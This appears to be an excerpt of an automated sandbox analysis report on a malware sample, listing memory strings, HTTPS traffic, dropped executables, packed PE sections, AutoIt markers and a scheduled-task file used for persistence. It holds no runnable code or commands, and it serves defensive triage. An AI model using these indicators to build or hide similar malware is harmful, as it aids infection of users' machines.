Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/success_sent_email.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/success_sent_email_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulpupgrade/kidprofileupgrade_all_set.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulpupgrade/kidprofileupgrade_all_set_darkmode.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/all_set.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/all_set_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/almost_done_kids_space_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/almost_done_kids_space_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/alreadyinstalledfamilylink.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/alreadyinstalledfamilylink_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_tablet_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_tablet_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/emailinstallfamilylink.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/emailinstallfamilylink_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/familylinkinstalling.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/familylinkinstalling_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/hand_over_device_dark_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/hand_over_device_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/installfamilylink.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/installfamilylink_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/linking_accounts_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/linking_accounts_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/locationsetup.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/locationsetup_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/open_family_link_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/open_family_link_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/parents_help.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/parents_help_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/set_up_kids_space.png
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/set_up_kids_space_dark.png
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setupcontrol.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setupcontrol_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuplocation.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuplocation_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuptimelimits.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuptimelimits_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/supervision_ready_v2.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/supervision_ready_v2_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/youtubeaccess.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/youtubeaccess_dark.svg
Source: chromecache_132.17.dr	String found in binary or memory: https://support.google.com/accounts?hl=
Source: chromecache_132.17.dr	String found in binary or memory: https://support.google.com/accounts?p=new-si-ui
Source: chromecache_132.17.dr	String found in binary or memory: https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: chromecache_124.17.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2450878675.0000000001B3D000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_132.17.dr	String found in binary or memory: https://www.google.com
Source: IJEHIDHD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_132.17.dr	String found in binary or memory: https://www.google.com/intl/
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/accounts/speedbump/authzen_optin_illustration.gif
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/chrome_48dp.png
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/googleg_48dp.png
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/gsa_48dp.png
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/play_prism_48dp.png
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/youtube_48dp.png
Source: chromecache_132.17.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/googleg/v6/36px.svg
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2449562218.00000000008FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/BGDGIIIE
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2449562218.00000000008FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/npvZC5maWxl
Source: file.exe, 00000000.00000002.2449562218.00000000008FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2404220440.000000002F74F000.00000004.00000020.00020000.00000000.sdmp, IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2404220440.000000002F74F000.00000004.00000020.00020000.00000000.sdmp, IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2449562218.00000000008FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2404220440.000000002F74F000.00000004.00000020.00020000.00000000.sdmp, IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2449562218.00000000008FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 06f6d9547f.exe, 0000000F.00000003.3007411160.0000000003D39000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3007121727.0000000003D00000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012974820.000000000151D000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012164343.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3007248927.0000000003D1C000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012629128.0000000003D41000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3011183886.0000000001517000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3007275252.0000000003D32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountF
Source: 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountK%DYW
Source: 06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounts$
Source: chromecache_132.17.dr	String found in binary or memory: https://www.youtube.com/t/terms?chromeless=1&hl=
Source: chromecache_132.17.dr	String found in binary or memory: https://youtube.com/t/terms?gl=

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: 06f6d9547f.exe, 0000000F.00000003.3010093216.00000000014D7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_REGISTERRAWINPUTDEVICES

memstr_4ec2d118-a

System Summary

Binary is likely a compiled AutoIt script file

Source: 06f6d9547f.exe, 0000000F.00000000.2760041133.0000000000762000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_75d7abe5-8
Source: 06f6d9547f.exe, 0000000F.00000000.2760041133.0000000000762000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a650108a-f
Source: 06f6d9547f.exe.13.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_285953fa-0
Source: 06f6d9547f.exe.13.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_48c2599e-7
Source: random[1].exe0.13.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f7296e6e-0
Source: random[1].exe0.13.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_127521d2-8

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name:
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: .idata
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: .idata
Source: explorti.exe.7.dr	Static PE information: section name:

PE file has nameless sections

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C5BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C5BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C55F280

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5535A0	0_2_6C5535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C545C	0_2_6C5C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C565440	0_2_6C565440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C595C10	0_2_6C595C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A2C10	0_2_6C5A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CAC00	0_2_6C5CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C542B	0_2_6C5C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D4D0	0_2_6C57D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5664C0	0_2_6C5664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C596CF0	0_2_6C596CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55D4E0	0_2_6C55D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C566C80	0_2_6C566C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B34A0	0_2_6C5B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC4A0	0_2_6C5BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57ED10	0_2_6C57ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C580512	0_2_6C580512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56FD00	0_2_6C56FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C590DD0	0_2_6C590DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B85F0	0_2_6C5B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C579E50	0_2_6C579E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C593E50	0_2_6C593E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A2E4E	0_2_6C5A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C574640	0_2_6C574640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55C670	0_2_6C55C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C6E63	0_2_6C5C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C597E10	0_2_6C597E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5600	0_2_6C5A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9E30	0_2_6C5B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55BEF0	0_2_6C55BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56FEF0	0_2_6C56FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C76E3	0_2_6C5C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C575E90	0_2_6C575E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE680	0_2_6C5BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4EA0	0_2_6C5B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C597710	0_2_6C597710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C569F00	0_2_6C569F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586FF0	0_2_6C586FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55DFE0	0_2_6C55DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A77A0	0_2_6C5A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C578850	0_2_6C578850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D850	0_2_6C57D850
